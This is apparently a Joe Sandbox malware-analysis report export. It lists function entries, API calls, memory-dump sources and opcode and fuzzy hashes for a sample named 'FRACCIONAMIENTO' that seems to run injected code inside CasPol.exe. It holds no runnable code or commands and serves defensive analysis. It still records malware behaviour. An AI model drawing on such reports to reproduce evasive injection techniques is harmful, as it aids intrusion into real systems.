Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction ID: bd974b3f77e4b05eb9372a1ad14375fba7b947cfa10dd8d614d5bb7090e452f7
Opcode Fuzzy Hash: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction Fuzzy Hash: 6CD05EB2401D219EC3126B04DC00D9F63ACEF51301B4A4866E441AB1A0DB7C5D9186A9

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004060E5
CharNextA.USER32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060F6
lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: 2f06b96f93541eceebcae48a9adfe7aedd37cb678349478f8cad11de2473fd3e
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 0BF0F631104054FFDB12DFA4CD00D9EBBA8EF06350B2640BAE841FB321D674DE11A798

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 3292, Parent PID: 1612COMMON

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	99.1%
Signature Coverage:	1.6%
Total number of Nodes:	320
Total number of Limit Nodes:	28

Executed Functions

Function 209D5860 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.20406257333.00000000209D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 209D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_209d0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be66d76f81febe8eb90a50b2ed02dfd9b6b7f296ae727a65f89df20750e92709
Instruction ID: a821d6b3ec297cd9f664e655721f4bd43bb528d8ea84b815231b330cc09fd693
Opcode Fuzzy Hash: be66d76f81febe8eb90a50b2ed02dfd9b6b7f296ae727a65f89df20750e92709
Instruction Fuzzy Hash: 9BF15A31A40218CFDB14DFE9C888B9DBBF2BF89314F15C169E406AB3A5DB74A945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00ADB910 Relevance: 1.9, APIs: 1, Instructions: 382
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00ADBBB1

Memory Dump Source

Source File: 00000003.00000002.20369853591.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8b434e6493d19a09ad6210d7d5f66c0a0b7a8440e45bb8aa0c4908af1e1d1455
Instruction ID: ee9fb889823eaec20e196628b2f586bbf1781c8af6adc792e50c100ef698cb40
Opcode Fuzzy Hash: 8b434e6493d19a09ad6210d7d5f66c0a0b7a8440e45bb8aa0c4908af1e1d1455
Instruction Fuzzy Hash: C0E19D34A14215DFDB24DBB4C8987AEBBB2EF89344F11842AD506DB3A1DB34EC45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E34A Relevance: 1.8, APIs: 1, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8dd1928b536f5e9024675b1d5a8dc329eadac5fb8ac5a0f8319018c294acd785
Instruction ID: a60cfc806ff7c539854445be017e96736aaafe6292b669bebc6c68826081e4ed
Opcode Fuzzy Hash: 8dd1928b536f5e9024675b1d5a8dc329eadac5fb8ac5a0f8319018c294acd785
Instruction Fuzzy Hash: 7E02B978A45329CFDB65EF20C88C69EB771BF89349F1041E9D819A6754CB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E36B Relevance: 1.8, APIs: 1, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2fd668772a7c3e47446570fdab037e52c07febcd11f534f5c13d847512e06599
Instruction ID: 94b80e485f6bf85cf33103a2830a0959a1bda45b4e15d00f961f7ba0766b28a5
Opcode Fuzzy Hash: 2fd668772a7c3e47446570fdab037e52c07febcd11f534f5c13d847512e06599
Instruction Fuzzy Hash: 3102C978A45329CFDB65EF20C88C69EB771BF89349F1041E9D819A6754CB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E3B2 Relevance: 1.8, APIs: 1, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5341b9149fce06e02e83aaea759863df0fcef8b41904fc3e8cf396b044489d85
Instruction ID: a8a6e2780ba37d63ca9a9799c42af460cb701683a611d645254171ffee01e1bb
Opcode Fuzzy Hash: 5341b9149fce06e02e83aaea759863df0fcef8b41904fc3e8cf396b044489d85
Instruction Fuzzy Hash: 0F02C978A45329CFDB65EF20C88C69EB771BF89349F1041E9D819A6754CB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E3F9 Relevance: 1.8, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7850a379d35ad8dcc4c872fe58cc1e83ba02222b6a3359a93581c1442e1a8f86
Instruction ID: ee1683096562baa56377950c803178fa3febc516b09d3b2e28c61a7e6ba104eb
Opcode Fuzzy Hash: 7850a379d35ad8dcc4c872fe58cc1e83ba02222b6a3359a93581c1442e1a8f86
Instruction Fuzzy Hash: B402C978A45329CFDB65EF20C88C69EB771BF89349F1041E9D819A6754CB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E440 Relevance: 1.8, APIs: 1, Instructions: 326COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 469b00e4e157c33463c6420a90f2e1d200126111995f682c69b712975a8c76c2
Instruction ID: d69f43b5d79af50b2439ff7efe112fb589b2e969a20dcd67fe5bae27488b39f9
Opcode Fuzzy Hash: 469b00e4e157c33463c6420a90f2e1d200126111995f682c69b712975a8c76c2
Instruction Fuzzy Hash: 2902CA78A05329CFDB65EF20C88C69EB771BF89349F1081E9D81996754CB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E487 Relevance: 1.8, APIs: 1, Instructions: 317COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ea19af1175060ae19b5406bbeaeb2a8573c5b76db27e9338020c24b025269d5b
Instruction ID: ed1c0dae77293e6e80ccb116446aa1b1f60ed548cdc6c465240077c034d9072f
Opcode Fuzzy Hash: ea19af1175060ae19b5406bbeaeb2a8573c5b76db27e9338020c24b025269d5b
Instruction Fuzzy Hash: 0FF1B978A05329CFDB65EF20C88C69EB771BF89349F1041E9D819A6754DB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E4C5 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fdb0d2eb977c9b5c338423c8122249aef8f316b65f584472560d1d6fb64c9576
Instruction ID: 93cfe8e9b21cdc3f3a7c67ec07ce6b8e0c49866e32d0f89eef204ff95fd23ad5
Opcode Fuzzy Hash: fdb0d2eb977c9b5c338423c8122249aef8f316b65f584472560d1d6fb64c9576
Instruction Fuzzy Hash: 84F1BA78A05329CFDB65EF20C88C69EB771BF89349F1041E9D81996754DB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E50C Relevance: 1.8, APIs: 1, Instructions: 305COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5cf296c7c4e4766fbdbd070642c760d8b6045aef919b088630dcbc04a43be846
Instruction ID: 1a2dc69e7a13c0de53814762100765bc8f5ac751755680d8c672e86c34628036
Opcode Fuzzy Hash: 5cf296c7c4e4766fbdbd070642c760d8b6045aef919b088630dcbc04a43be846
Instruction Fuzzy Hash: 85F1B878A05329CFDB65EF20C88C69EB771BF89349F1041E9D819A6754DB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E553 Relevance: 1.8, APIs: 1, Instructions: 298COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b7b37cd4157df74b59263c04397387b6e5f05f70e5fd6e0f1566a0af7efbaba4
Instruction ID: 4d78c839cc6ec30f072789d3f5b2a12fc083b4bf93ebbcb65d025fafdf360716
Opcode Fuzzy Hash: b7b37cd4157df74b59263c04397387b6e5f05f70e5fd6e0f1566a0af7efbaba4
Instruction Fuzzy Hash: 50F1BA78A06329CFDB65EF20C88C69EB771BF89349F1041E9D80996754DB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E59A Relevance: 1.8, APIs: 1, Instructions: 291COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 625f5d0b20390557fa09d04da1daefe3e8be5874634109b9a05301ea9143b3ad
Instruction ID: 514ac738482cd18fe314df8709887d9d36451ef8db59fa039a2628d55eb1229a
Opcode Fuzzy Hash: 625f5d0b20390557fa09d04da1daefe3e8be5874634109b9a05301ea9143b3ad
Instruction Fuzzy Hash: A4E1BA38A05329CFDB65EF60C88C69EB771BF89349F1041E9D809A6754DB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E5E1 Relevance: 1.8, APIs: 1, Instructions: 284COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0d3a7571ef672f768061543b29c25df4e2033377f5874019aa5993cc4ad5088b
Instruction ID: 42193afdf16060dda90ac0f436d25bcb45ee7e7df87e7e70c14ea0eea5ce609d
Opcode Fuzzy Hash: 0d3a7571ef672f768061543b29c25df4e2033377f5874019aa5993cc4ad5088b
Instruction Fuzzy Hash: 6CE1AA38A06329CFDB65EF60C88C69EB771BF89349F1041E9D80996754DB325E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E628 Relevance: 1.8, APIs: 1, Instructions: 275COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cee8ac71eaf448e34ca2607f4018556a2110c5b1746aeac85c4e2c53c921ab1f
Instruction ID: 76929ce8be020eaecb70e8fe0460052331cee52e48acfd981ab4f51fb279854d
Opcode Fuzzy Hash: cee8ac71eaf448e34ca2607f4018556a2110c5b1746aeac85c4e2c53c921ab1f
Instruction Fuzzy Hash: CBE1AA38A06329CFDB65EF60C88C69EB771BF89349F1041E9D80996754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E666 Relevance: 1.8, APIs: 1, Instructions: 270COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1ce59daa1c3732eeb3360620269ccc8306f3f89394b9ebe99b28a227680fcb3e
Instruction ID: 935497775f6be217513d7fa08bf14dd97e7a9ea0eec2ab0c3ceca1b938ecae7b
Opcode Fuzzy Hash: 1ce59daa1c3732eeb3360620269ccc8306f3f89394b9ebe99b28a227680fcb3e
Instruction Fuzzy Hash: DDE1B938A05329CFDB65EF60C89C69EB771BF89349F1041E9D809A6754DB326E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E6AD Relevance: 1.8, APIs: 1, Instructions: 263COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1e69e53742f61bf44b4bab6421809216f206e0f759c253f5e1471927d202ec29
Instruction ID: a69fb5353d1871616190994829a5da1b78f2416dc22bce8298deaedf34b205e6
Opcode Fuzzy Hash: 1e69e53742f61bf44b4bab6421809216f206e0f759c253f5e1471927d202ec29
Instruction Fuzzy Hash: 34D1B838A05329CFDB65EF60C88C69EB771BF89349F1041E9D809A6754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E6F4 Relevance: 1.8, APIs: 1, Instructions: 256COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 838c7d662fc682f4d57bc890fde9a73f369e706804fbf3fe9a49c921f39612e0
Instruction ID: c3f17554686b285aaeab2c4f3f1a78c87b10feb8942b0fc10eb0385f98eed06a
Opcode Fuzzy Hash: 838c7d662fc682f4d57bc890fde9a73f369e706804fbf3fe9a49c921f39612e0
Instruction Fuzzy Hash: 8AD1A838A05329CFDB65EF20C89C69EB771BF89349F1041E9D809A6754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E73B Relevance: 1.7, APIs: 1, Instructions: 249COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 82233800c2e91e57a7c5ffc57a14378c7e054ec968892e525bad31a38f02c3e5
Instruction ID: 26bab9cf4e23fdc796d9edc8493628aa9bf7ca9bbf0c2d2f4c5dbab4859115ed
Opcode Fuzzy Hash: 82233800c2e91e57a7c5ffc57a14378c7e054ec968892e525bad31a38f02c3e5
Instruction Fuzzy Hash: 92D1B838A05329CFDB65EF20C88C69EB771BF89349F1041E9D809A6754DB326E85CF02

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E782 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d6b34ee51d1984f4fb5bde8809d9ec17f3bd534efdce88a48568936c8361f1e8
Instruction ID: 5b8506ffb6fed0b9b63638e6b903c36d7f80f2e0d343d625fb00fe4255bb9605
Opcode Fuzzy Hash: d6b34ee51d1984f4fb5bde8809d9ec17f3bd534efdce88a48568936c8361f1e8
Instruction Fuzzy Hash: 5EC1A938A05329CFDB65EF20C88C69EB771BF89349F1041E9D80996754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E7C9 Relevance: 1.7, APIs: 1, Instructions: 235COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 867b1a7142d139d08fac30748c3499878ff276a8687b6a0836ac5cb35dcbfdb2
Instruction ID: 5000284b46de31f724a7ff01464f74054d900d00b09a8bab76251b1aeb42f0c5
Opcode Fuzzy Hash: 867b1a7142d139d08fac30748c3499878ff276a8687b6a0836ac5cb35dcbfdb2
Instruction Fuzzy Hash: BEC19838A05329CFDB65EF20C88C69EB771BF89349F1041E9D849A6754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E810 Relevance: 1.7, APIs: 1, Instructions: 228COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d093a3d5cda6d6b5afcd9211e1408667dbd7530be01351bae9e4f0838e1f45d6
Instruction ID: 4eab057e867014510113790dd77b7c6461de7295afbe4b35e5153cf81c8ae317
Opcode Fuzzy Hash: d093a3d5cda6d6b5afcd9211e1408667dbd7530be01351bae9e4f0838e1f45d6
Instruction Fuzzy Hash: AAC1A838A05329CFDB65EF20C88C69EB771BF89349F1041E9D809A6754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E857 Relevance: 1.7, APIs: 1, Instructions: 221COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b393e330ad98f40fc4aaf317c69a0a1285dd6bbb12f859c203f45c534e4841f4
Instruction ID: 27d3f664ef2ace2a528d6fa6e9594daefa539be5a6b529e6a96284a9f9e498ea
Opcode Fuzzy Hash: b393e330ad98f40fc4aaf317c69a0a1285dd6bbb12f859c203f45c534e4841f4
Instruction Fuzzy Hash: 9DB1A838A05329CFDB65EF20C88C69EB771BF89349F1045E9D809A6754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E89E Relevance: 1.7, APIs: 1, Instructions: 214COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 35053553353fc80633f86fb0f13122bf89d2faf3013055ac4167a9e7d93b7aa2
Instruction ID: d8f64a6daa7ca5e8d034415f028bd5199aa6ac1c8bc9c9f0dde0a83f0d4d2312
Opcode Fuzzy Hash: 35053553353fc80633f86fb0f13122bf89d2faf3013055ac4167a9e7d93b7aa2
Instruction Fuzzy Hash: 9BB19838A05329CFDB65EF20C88C69EB771BF89349F1045E9D819A6754DB326E85CF02

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E8E5 Relevance: 1.7, APIs: 1, Instructions: 207COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4f1f3099f3e5a2386eddc0b7b2754e620f671f91f1827221e2f935e504a2e73c
Instruction ID: c10add29f13f268b07d78bb5a8961cdbaadb293f5a572106a581c605dfd7a9f6
Opcode Fuzzy Hash: 4f1f3099f3e5a2386eddc0b7b2754e620f671f91f1827221e2f935e504a2e73c
Instruction Fuzzy Hash: 4EB1A738A05329CFDB65EF20C88C69EB771BF89349F1045E9D809A6754DB326E85CF02

Uniqueness

Uniqueness Score: -1.00%

Function 2057E548 Relevance: 1.7, APIs: 1, Instructions: 206COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 2057E7AE

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9bde837948515a00d4641e7e2a16dc076c3c8db6b128ff134fecfb2f0806591d
Instruction ID: 60df3160ba314ecc37f0fda5ea2c5d730cda2a675d75bee5064bea0cdc451f70
Opcode Fuzzy Hash: 9bde837948515a00d4641e7e2a16dc076c3c8db6b128ff134fecfb2f0806591d
Instruction Fuzzy Hash: 90815970A00B448FD724CF69D05579ABBF1FF88214F108A2DD58ADBA61D774E905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E92C Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 944696c854ffd2bee8539faf7009ba6ed4f190fd843a1f069dc7bd49b2ab749d
Instruction ID: 6556360ced47ec64d5584ee8251fcce8f52950ec04014eb892ce13cb56e8fc90
Opcode Fuzzy Hash: 944696c854ffd2bee8539faf7009ba6ed4f190fd843a1f069dc7bd49b2ab749d
Instruction Fuzzy Hash: BDA1A838A05329CFDB65EF20C88C69EB771BF89349F1045E9D80996754DB326E85CF02

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E973 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 83069b64b262e5ee9c9879699788ccd47a488128f61263698b5b00b6833b0507
Instruction ID: 39525060de9c706e4093f2c0709e90ba8d2e84734e125477d4d162011417d800
Opcode Fuzzy Hash: 83069b64b262e5ee9c9879699788ccd47a488128f61263698b5b00b6833b0507
Instruction Fuzzy Hash: 60A1A838A05329CFDB65EF20C88C69EB771BF89349F1045E9D809A6754DB326E85CF02

Uniqueness

Uniqueness Score: -1.00%

Function 2057D518 Relevance: 1.7, APIs: 1, Instructions: 189libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,2057E829,00000800,00000000,00000000), ref: 2057EA1A

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a12c9e8e9f3f56032ba53d0b190186ba06cc349456bfaa429ace24d10f321009
Instruction ID: 23f3e11ed9e2fad19868f48373eadf566eddb8815d9a172c71185676bc234d9d
Opcode Fuzzy Hash: a12c9e8e9f3f56032ba53d0b190186ba06cc349456bfaa429ace24d10f321009
